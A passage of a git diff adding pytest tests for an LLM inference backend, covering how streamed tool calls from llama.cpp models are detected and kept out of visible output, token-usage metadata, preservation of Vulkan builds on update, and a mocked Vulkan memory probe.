messages = [{"role": "user", "content": "give me a person record"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert any("Alice" in t for t in content_texts), content_texts + + +def test_incomplete_bare_json_truncation_is_not_leaked(monkeypatch): + """If generation is cut off mid bare-JSON object (no closing brace), the held + fragment must be stripped at stream end rather than dumped to the user.""" + + truncated = '{"name": "web_search", "parameters": {"query": "weather in S' + stream = _streamed_content(truncated) + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "weather?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all('{"name"' not in t for t in content_texts), content_texts + + +def test_gguf_truncated_ordinary_json_with_name_key_is_shown_not_suppressed(monkeypatch): + """A truncated markerless object whose "name" is NOT an enabled tool (a person + record cut off mid-stream, ``{"name":"Alice","age":``) must still be shown. The + end-of-stream ``_is_bare_tc`` heuristic routed any ``{...,"name",...}`` fragment + to DRAINING (dropped); it is now gated on the enabled tool names so only a real + truncated tool call is suppressed, ordinary JSON streams through.""" + + truncated = '{"name": "Alice", "age": 30, "bio": "loves ' + stream = _streamed_content(truncated) + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda n, a, **_k: (calls.append((n, a)) or "x"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "start a person record"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert any("Alice" in t for t in content_texts), content_texts + + +def test_gguf_truncated_disabled_name_json_is_preserved_when_tools_active(monkeypatch): + """A truncated JSON answer with a non-enabled name must still be shown (resolvers are gated on enabled names).""" + + truncated = '{"name": "Alice", "parameters": {"age": 30' + stream = _streamed_content(truncated) + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda n, a, **_k: (calls.append((n, a)) or "x"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "give json"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert any("Alice" in t for t in content_texts), content_texts + + +def test_gguf_truncated_enabled_name_json_is_still_suppressed(monkeypatch): + """Counterpart guard: a truncated ENABLED-tool bare call (``web_search``) cut off + mid-JSON still must NOT leak -- the gate only spares disabled / non-tool names.""" + + truncated = '{"name": "web_search", "parameters": {"query": "weather in S' + stream = _streamed_content(truncated) + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda *_a, **_k: (_ for _ in ()).throw(AssertionError("no complete call")), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "weather?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("web_search" not in t for t in content_texts), content_texts + assert all('{"name"' not in t for t in content_texts), content_texts + + +def test_gguf_oversized_disabled_name_json_is_preserved(monkeypatch): + """An oversized still-open JSON answer with a non-enabled name streams as content, not a phantom drain.""" + + cap = 16384 + big = "A" * (cap + 5000) + answer = '{"name":"Alice","parameters":{"bio":"' + big # never closes + first_stream = [_sse({"content": answer[i : i + 2000]}) for i in range(0, len(answer), 2000)] + first_stream.append(_done()) + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda n, a, **_k: (calls.append((n, a)) or "x"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "long json"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert any("Alice" in t for t in content_texts), content_texts[:1] + + +def test_gemma_wrapperless_call_streamed_is_not_leaked_and_executes(monkeypatch): + """Gemma 4 GGUF (skip_special_tokens) streams a wrapper-less ``call:NAME{..}`` + with no XML signal. Like bare JSON, the BUFFERING scan must recognise it via + _GEMMA_BARE_TC_RE, drain it silently, and execute the tool -- never leaking + the ``call:`` markup to the user-visible stream.""" + + gemma_call = 'call:web_search{query:"weather in Sydney"}' + first_stream = _streamed_content(gemma_call) + final_stream = [_sse({"content": "It is sunny in Sydney."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "Weather: sunny, 22C." + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "weather in Sydney?"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [("web_search", {"query": "weather in Sydney"})] + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("call:" not in t for t in content_texts), content_texts + assert any("sunny in Sydney" in t for t in content_texts), content_texts + + +def _usage_done(usage: dict, finish_reason: str = "stop") -> str: + """A terminal SSE chunk carrying llama-server's ``usage`` block, the way the + real server reports it on the final chunk of a completion.""" + return ( + "data: " + + json.dumps( + { + "choices": [{"index": 0, "delta": {}, "finish_reason": finish_reason}], + "usage": usage, + } + ) + + "\n" + ) + + +def test_metadata_event_preserves_prompt_tokens_details(monkeypatch): + """The tool loop's metadata event must carry llama-server's + ``prompt_tokens_details`` (KV-cache hits) through ``_build_metadata_event``, + so the route reports real ``cached_tokens`` instead of always 0 (#6570). + + This drives the *real* generator; the route-level test feeds a pre-built + metadata event and so never exercises this code. + """ + stream = [ + _sse({"content": "The answer is 42."}), + _usage_done( + { + "prompt_tokens": 20, + "completion_tokens": 4, + "prompt_tokens_details": {"cached_tokens": 16}, + } + ), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "hi"}], + tools = [], + max_tool_iterations = 1, + ) + ) + + metadata = [e for e in events if e.get("type") == "metadata"] + assert metadata, "expected a metadata event" + usage = metadata[-1]["usage"] + assert usage["prompt_tokens_details"] == {"cached_tokens": 16} + assert usage["prompt_tokens"] == 20 + assert usage["completion_tokens"] == 4 + + +def test_metadata_event_omits_prompt_tokens_details_when_absent(monkeypatch): + """No KV-cache block from the server -> the key isn't fabricated, so the + route falls back to its 0-default instead of reading a bogus value.""" + stream = [ + _sse({"content": "hi"}), + _usage_done({"prompt_tokens": 5, "completion_tokens": 2}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [stream], payloads) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "hi"}], + tools = [], + max_tool_iterations = 1, + ) + ) + + metadata = [e for e in events if e.get("type") == "metadata"] + assert metadata, "expected a metadata event" + assert "prompt_tokens_details" not in metadata[-1]["usage"] + + +def test_gguf_rehearsal_name_split_before_args_is_not_leaked(monkeypatch): + """Finding 6: a rehearsal call whose name (``web_search``) and ``[ARGS]{...}`` + arrive in separate content deltas must hold the bare name in the buffer until + ``[ARGS]`` flips it to a drain. Without _is_rehearsal_prefix the GGUF path + streams the tool name as visible content before the call executes.""" + + first_stream = [ + _sse({"content": "web_search"}), + _sse({"content": '[ARGS]{"query":"cats"}'}), + _done(), + ] + final_stream = [_sse({"content": "Found cats."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + + def fake_execute_tool(name, arguments, **_kwargs): + calls.append((name, arguments)) + return "result" + + monkeypatch.setattr("core.inference.tools.execute_tool", fake_execute_tool) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [("web_search", {"query": "cats"})], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("web_search" not in t for t in content_texts), content_texts + assert all("[ARGS]" not in t for t in content_texts), content_texts + + +def test_gguf_initial_buffer_flush_holds_split_rehearsal_name(monkeypatch): + """The first flush out of BUFFERING (prose plus a trailing active-tool-name in + the first delta, ``[ARGS]{...}`` in the next) must apply the same trailing-name + hold the STREAMING branch uses. The first delta has spaces so it is not a + rehearsal prefix and falls to the initial flush, which previously emitted the + bare name before the call drained.""" + + first_stream = [ + _sse({"content": "I will use web_search"}), + _sse({"content": '[ARGS]{"query":"cats"}'}), + _done(), + ] + final_stream = [_sse({"content": "Found cats."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [("web_search", {"query": "cats"})], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("web_search" not in t for t in content_texts), content_texts + assert all("[ARGS]" not in t for t in content_texts), content_texts + + +def test_gguf_rehearsal_name_after_prose_in_streaming_is_not_leaked(monkeypatch): + """Finding 9: the BUFFERING guard only covers a rehearsal at the turn start. + When prose has already streamed (STREAMING state) and the model then emits the + tool name and ``[ARGS]{...}`` in later deltas, the bare name must still be held, + not flushed as visible content before the call drains.""" + + first_stream = [ + _sse({"content": "Let me think. "}), + _sse({"content": "I will search "}), + _sse({"content": "web_search"}), + _sse({"content": '[ARGS]{"query":"cats"}'}), + _done(), + ] + final_stream = [_sse({"content": "Found cats."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [("web_search", {"query": "cats"})], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert all("web_search" not in t for t in content_texts), content_texts + + +def test_gguf_plain_answer_ending_with_tool_name_word_is_preserved(monkeypatch): + """End-of-stream flush: a plain answer that ENDS on a tool-name word with no + ``[ARGS]`` following is real prose and must not be dropped by the streaming + rehearsal hold.""" + + first_stream = [ + _sse({"content": "I think "}), + _sse({"content": "you should "}), + _sse({"content": "web_search"}), + _done(), + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "advise"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert any(t.rstrip().endswith("web_search") for t in content_texts), content_texts + + +def test_gguf_long_tool_name_split_rehearsal_is_not_capped_and_executes(monkeypatch): + """Finding 11: a realistic MCP name longer than the 32-char buffer cap split as + NAME then [ARGS]{...} must still be held (a rehearsal prefix is self-bounding), + so the name does not leak and the call executes.""" + name = "mcp__github__create_pull_request" + assert len(name) >= 32, len(name) + + first_stream = [ + _sse({"content": name}), + _sse({"content": '[ARGS]{"x":1}'}), + _done(), + ] + final_stream = [_sse({"content": "done"}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda n, a, **_k: (calls.append((n, a)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "go"}], + tools = [{"type": "function", "function": {"name": name}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [(name, {"x": 1})], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert not any(name in t for t in content_texts), content_texts + + +def test_gguf_streaming_keeps_bare_args_before_think_block(monkeypatch): + """F4: the GGUF streaming strip must run its open-ended ``[ARGS]`` tail cleanup + only on the LAST segment. A bare ``foo[ARGS]`` (no JSON body, ``foo`` not a tool) + before a block is prose, not a truncated call, so the final visible text + must keep it verbatim instead of dropping ``foo[ARGS]`` and corrupting the + sentence.""" + + first_stream = [ + _sse({"content": "Please pass foo[ARGS] "}), + _sse({"content": "pause "}), + _sse({"content": "to the template."}), + _done(), + ] + backend = _make_backend(monkeypatch, [first_stream], []) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "x"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert calls == [], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert content_texts, events + assert content_texts[-1] == "Please pass foo[ARGS] pause to the template." + + +def test_gguf_inactive_name_args_in_prose_is_not_drained(monkeypatch): + """BUG A: an inactive-name ``foo[ARGS]{...}`` in a prose answer must not be treated + as a tool call. The BUFFERING and end-of-stream safety-net ``[ARGS]`` checks gate on + active tool names (like the safetensors loop and the mid-stream path), so ``foo`` + (``web_search`` is the only enabled tool) is neither drained/parsed into a disabled + no-op nor forced into another generation turn.""" + first_stream = [ + _sse({"content": 'foo[ARGS]{"x":1} is just syntax.'}), + _done(), + ] + backend = _make_backend(monkeypatch, [first_stream], []) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "x"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 2, + ) + ) + + # No tool executed for the inactive name; a spurious no-op re-prompt would exhaust the + # single supplied stream and error. + assert calls == [], calls + assert not any(e.get("type") in ("tool_start", "tool_end") for e in events), events + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + # The inactive ``foo[ARGS]{...}`` is prose: the name-gated strip keeps the whole sentence. + assert any('foo[ARGS]{"x":1} is just syntax.' in t for t in content_texts), content_texts + + +def test_gguf_inactive_rehearsal_before_active_call_executes_and_keeps_prose(monkeypatch): + """BUG X (#5704): an inactive ``foo[ARGS]{...}`` before a real ``web_search[ARGS]{...}`` + in one delta must NOT swallow the real call; web_search executes while the inactive + rehearsal stays visible as prose.""" + first_stream = [ + _sse({"content": 'foo[ARGS]{"a":1} web_search[ARGS]{"query":"cats"}'}), + _done(), + ] + final_stream = [_sse({"content": "Found cats."}), _done()] + backend = _make_backend(monkeypatch, [first_stream, final_stream], []) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + # The real call runs; ``foo`` is not executed as a phantom disabled call. + assert calls == [("web_search", {"query": "cats"})], calls + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + # The inactive rehearsal is preserved as prose; the active one is stripped. + assert any('foo[ARGS]{"a":1}' in t for t in content_texts), content_texts + assert all("web_search[ARGS]" not in t for t in content_texts), content_texts + + +def test_gguf_rehearsal_detection_recognises_spent_one_shot_with_original_tools(): + # Rehearsal detection is fed the ORIGINAL tool list, so a spent one-shot's re-emitted + # repeat is still detected (matching the strip gate) instead of blanking the turn. + from core.inference.llama_cpp import _gguf_has_genuine_tool_signal + from core.inference.tool_call_parser import TOOL_XML_SIGNALS + + repeat = 'render_html[ARGS]{"code":"x"}' + active_only = [{"type": "function", "function": {"name": "web_search"}}] + original = active_only + [{"type": "function", "function": {"name": "render_html"}}] + assert not _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, active_only) + assert _gguf_has_genuine_tool_signal(repeat, TOOL_XML_SIGNALS, original) + + +def test_gguf_rehearsal_prefix_and_tail_hold_recognise_spent_one_shot(): + # The BUFFERING prefix check and STREAMING/flush tail-holds use the ORIGINAL tool list, + # so a spent one-shot's split repeat is held rather than leaked as visible text. + from core.inference.llama_cpp import _held_rehearsal_tail_len, _is_rehearsal_prefix + + active_only = [{"type": "function", "function": {"name": "web_search"}}] + original = active_only + [{"type": "function", "function": {"name": "render_html"}}] + assert not _is_rehearsal_prefix("render_html", active_only) + assert _is_rehearsal_prefix("render_html", original) + assert _held_rehearsal_tail_len("answer render_html", active_only) == 0 + assert _held_rehearsal_tail_len("answer render_html", original) == len("render_html") + + +def test_gguf_oversized_bare_json_not_leaked_and_executes(monkeypatch): + """An oversized bare-JSON call drains rather than streams, and still executes via the safety net.""" + + cap = 16384 + big = "A" * (cap + 5000) + full = '{"name":"python","parameters":{"code":"' + big + '"}}' + first_stream = [_sse({"content": full[i : i + 2000]}) for i in range(0, len(full), 2000)] + first_stream.append(_done()) + final_stream = [_sse({"content": "done"}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"), + ) + + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "run"}], + tools = [{"type": "function", "function": {"name": "python"}}], + max_tool_iterations = 1, + ) + ) + + content_texts = [e.get("text", "") for e in events if e.get("type") == "content"] + assert not any(t.lstrip().startswith('{"name') for t in content_texts), content_texts[:1] + assert calls and calls[0][0] == "python" + assert len(calls[0][1].get("code", "")) > cap + + +def test_gguf_bare_json_call_not_replayed_in_next_turn_content(monkeypatch): + """After a bare-JSON call executes, the kept assistant message must not carry the raw call as content.""" + + import copy + + first_stream = [ + _sse({"content": '{"name":"web_search","parameters":{"query":"cats"}}'}), + _done(), + ] + final_stream = [_sse({"content": "Found."}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + monkeypatch.setattr("core.inference.tools.execute_tool", lambda *_a, **_k: "RESULT") + + list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 2, + ) + ) + + assert len(payloads) >= 2 + asst = [m for m in payloads[1]["messages"] if m.get("role") == "assistant"] + assert asst and not any('"name"' in (m.get("content") or "") for m in asst), asst + + +def test_gguf_textual_fallback_caps_distinct_tool_calls_per_turn(monkeypatch): + """A single textual-fallback turn that parses many DISTINCT tool calls must be + capped at _MAX_TOOL_CALLS_PER_TURN (structured delta.tool_calls are grammar + bounded by llama-server; text parsed from content is not). Mirrors the + safetensors loop so one runaway turn cannot fan out into dozens of executions.""" + from core.inference.llama_cpp import _MAX_TOOL_CALLS_PER_TURN + + n = _MAX_TOOL_CALLS_PER_TURN + 4 + blocks = "".join( + '{"name":"t%d","arguments":{"i":%d}}' % (i, i) for i in range(n) + ) + first_stream = [_sse({"content": blocks}), _done()] + final_stream = [_sse({"content": "done"}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"), + ) + + list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "go"}], + tools = [{"type": "function", "function": {"name": f"t{i}"}} for i in range(n)], + max_tool_iterations = 1, + ) + ) + + assert len(calls) == _MAX_TOOL_CALLS_PER_TURN, [c[0] for c in calls] + # The cap keeps the first calls in order (no reordering / drop of leading ones). + assert [c[0] for c in calls] == [f"t{i}" for i in range(_MAX_TOOL_CALLS_PER_TURN)] + + +def test_gguf_textual_fallback_collapses_duplicate_tool_calls(monkeypatch): + """Exact-duplicate textual calls in one turn collapse to a single execution.""" + blocks = '{"name":"web_search","arguments":{"query":"cats"}}' * 5 + first_stream = [_sse({"content": blocks}), _done()] + final_stream = [_sse({"content": "done"}), _done()] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, [first_stream, final_stream], payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "OK"), + ) + + list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "cats"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + ) + ) + + assert len(calls) == 1, [c[0] for c in calls] + + +def test_gguf_drain_truncated_enabled_name_json_preserved_when_auto_heal_disabled(monkeypatch): + """Auto-Heal OFF keeps a truncated enabled-name fragment visible; ON suppresses it (strip gated on auto_heal_tool_calls).""" + + trunc = '{"name":"web_search","parameters":{"query":"weather' + + def _run(auto_heal): + stream = [_sse({"content": trunc}), _done()] + backend = _make_backend(monkeypatch, [stream], []) + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + events = list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "x"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 1, + auto_heal_tool_calls = auto_heal, + ) + ) + contents = "".join(e.get("text", "") for e in events if e.get("type") == "content") + return calls, contents + + calls_off, contents_off = _run(False) + assert calls_off == [], calls_off + assert "web_search" in contents_off, contents_off + + calls_on, contents_on = _run(True) + assert calls_on == [], calls_on + assert "web_search" not in contents_on, contents_on + + +def test_gguf_valid_tool_calls_respect_max_tool_iterations(monkeypatch): + """Re-prompt slots must not extend the tool budget: stop after ``max_tool_iterations`` executed rounds.""" + # More tool-call streams than the budget: if re-prompt slots leaked into the budget (the bug) the + # loop would run 2+3=5 rounds; honouring it stops after 2, then a tool-less final-answer pass. + streams = [ + _structured_tool_call("web_search", {"query": f"q{i}"}, f"call_{i}") for i in range(6) + ] + payloads: list[dict] = [] + backend = _make_backend(monkeypatch, streams, payloads) + + calls: list[tuple[str, dict]] = [] + monkeypatch.setattr( + "core.inference.tools.execute_tool", + lambda name, arguments, **_k: (calls.append((name, arguments)) or "result"), + ) + + list( + backend.generate_chat_completion_with_tools( + messages = [{"role": "user", "content": "search repeatedly"}], + tools = [{"type": "function", "function": {"name": "web_search"}}], + max_tool_iterations = 2, + ) + ) + + # Exactly two executed tool rounds, then one final-answer pass. + assert len(calls) == 2, calls + assert len(payloads) == 3, len(payloads) + # The final pass is the budget-exhausted nudge and carries no tools. + assert _tool_names(payloads[2]) == [], _tool_names(payloads[2]) + assert any( + m.get("role") == "user" and "used all available tool calls" in m.get("content", "") + for m in payloads[2]["messages"] + ), payloads[2]["messages"] diff --git a/studio/backend/tests/test_llama_cpp_update.py b/studio/backend/tests/test_llama_cpp_update.py index 7732fc215f..789e27be55 100644 --- a/studio/backend/tests/test_llama_cpp_update.py +++ b/studio/backend/tests/test_llama_cpp_update.py @@ -463,6 +463,48 @@ def test_start_update_happy_path(monkeypatch, tmp_path): assert popen_kwargs["env"]["UNSLOTH_PROGRESS_PERCENT_STEP"] == "5" +def test_start_update_preserves_vulkan_via_env(monkeypatch, tmp_path): + # A Vulkan install (marker asset carries 'vulkan') must re-assert + # UNSLOTH_FORCE_VULKAN on update, or detect_host on a GPU box re-routes to + # CUDA/ROCm and silently replaces the Vulkan build. + install_dir = tmp_path / "llama.cpp" + binary = _write_install( + install_dir, + "b9493", + repo = "ggml-org/llama.cpp", + asset = "llama-b9493-bin-ubuntu-vulkan-x64.tar.gz", + ) + monkeypatch.setattr(upd, "_find_binary", lambda: binary) + monkeypatch.setattr(upd, "_installer_script", lambda: tmp_path / "install_llama_prebuilt.py") + monkeypatch.setattr(freshness, "_fetch_latest_release_tag", lambda repo, timeout = 5.0: "b9518") + + def _on_start(cmd): + _write_install( + install_dir, + "b9518", + repo = "ggml-org/llama.cpp", + asset = "llama-b9518-bin-ubuntu-vulkan-x64.tar.gz", + ) + + popen_kwargs: dict = {} + _patch_installer_popen( + monkeypatch, + lines = ["installed\n"], + on_start = _on_start, + captured_kwargs = popen_kwargs, + ) + + assert upd.start_update()["started"] is True + deadline = time.time() + 10 + while time.time() < deadline: + job = upd.get_update_status()["job"] + if job["state"] in ("success", "error"): + break + time.sleep(0.05) + assert job["state"] == "success", job + assert popen_kwargs["env"]["UNSLOTH_FORCE_VULKAN"] == "1" + + def test_start_update_reports_full_release_tag(monkeypatch, tmp_path): install_dir = tmp_path / "llama.cpp" binary = _write_install(install_dir, "b9595") @@ -609,9 +651,10 @@ def test_install_cmd_fork_rocm_marker_forwards_has_rocm(monkeypatch, tmp_path): def test_install_cmd_ggml_cpu_marker_has_no_cpu_fallback(monkeypatch, tmp_path): - # CPU installs come from ggml-org. Re-running into the same install-dir/repo - # reproduces the same CPU bundle; --cpu-fallback (which force-drops GPU - # detection) is reserved for setup.sh's arm64 rescue and must not appear here. + # Legacy CPU installs recorded a ggml-org marker (new installs use the fork). + # Re-running into the same install-dir/repo reproduces the same CPU bundle; + # --cpu-fallback (which force-drops GPU detection) is reserved for setup.sh's + # arm64 rescue and must not appear here. cmd = _capture_install_cmd( monkeypatch, tmp_path, diff --git a/studio/backend/tests/test_llama_cpp_vulkan_probe.py b/studio/backend/tests/test_llama_cpp_vulkan_probe.py new file mode 100644 index 0000000000..92aaab4873 --- /dev/null +++ b/studio/backend/tests/test_llama_cpp_vulkan_probe.py @@ -0,0 +1,193 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Vulkan free-VRAM reader regression tests on a synthetic probe output. + +Covers the post-probe handling in +``LlamaCppBackend._get_gpu_free_memory_vulkan``: + + * integrated GPUs (probe reports is_igpu=1) leave a flat per-device host + margin matching llama.cpp's --fit-target, so context auto-sizing can't + over-commit shared RAM, and report total 0 (shared RAM is not a budget), + * discrete GPUs (is_igpu=0) keep their free untouched and pass their real + total through so the fit can reserve absolute headroom, + * an inherited ``GGML_VK_VISIBLE_DEVICES`` is passed through to ggml unchanged + (ggml applies it), not stripped or filtered in Python -- the probe reports + ggml's compact ordinal, which load_model pins with ``--device Vulkan``. + +The ggml Vulkan library is never loaded: subprocess.run is mocked to emit +the tab-separated lines the real ``_vulkan_probe.py`` would print. +""" + +from __future__ import annotations + +import subprocess +import sys +import types as _types +from pathlib import Path +from unittest import mock + +import pytest + +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +import importlib as _importlib # noqa: E402 + + +def _maybe_stub(name: str, builder): + try: + _importlib.import_module(name) + except ImportError: + sys.modules[name] = builder() + + +def _build_loggers_stub(): + m = _types.ModuleType("loggers") + m.get_logger = lambda name: __import__("logging").getLogger(name) + return m + + +_maybe_stub("loggers", _build_loggers_stub) +_maybe_stub("structlog", lambda: _types.ModuleType("structlog")) + +from core.inference import llama_cpp as _llama_mod # noqa: E402 +from core.inference.llama_cpp import ( # noqa: E402 + LlamaCppBackend, + _llama_lib_dir, + _vulkan_lib_filename, +) + +MIB = 1024 * 1024 +GIB = 1024 * MIB + + +def _make_vulkan_install(tmp_path: Path) -> str: + """A binary whose sibling dir holds the Vulkan ggml lib, so the + reader's ``is_vulkan_backend`` sibling-file check passes.""" + bindir = tmp_path / "build" / "bin" + bindir.mkdir(parents = True) + binary = bindir / ("llama-server.exe" if sys.platform == "win32" else "llama-server") + binary.write_bytes(b"stub") + (bindir / _vulkan_lib_filename()).write_bytes(b"stub") + return str(binary) + + +def _mock_probe(rows: list[str], captured_env: dict | None = None): + """Patch subprocess.run so the _vulkan_probe.py call returns ``rows`` + (already tab-formatted), recording the env it was launched with.""" + real_run = subprocess.run + + def fake_run(cmd, *args, **kwargs): + if isinstance(cmd, list) and any("_vulkan_probe" in str(c) for c in cmd): + if captured_env is not None: + captured_env.clear() + captured_env.update(kwargs.get("env") or {}) + return subprocess.CompletedProcess( + args = cmd, returncode = 0, stdout = "\n".join(rows), stderr = "" + ) + return real_run(cmd, *args, **kwargs) + + return mock.patch("subprocess.run", side_effect = fake_run) + + +def _row( + idx: int, + free_bytes: int, + is_igpu: int, + total_bytes: int = 0, +) -> str: + return 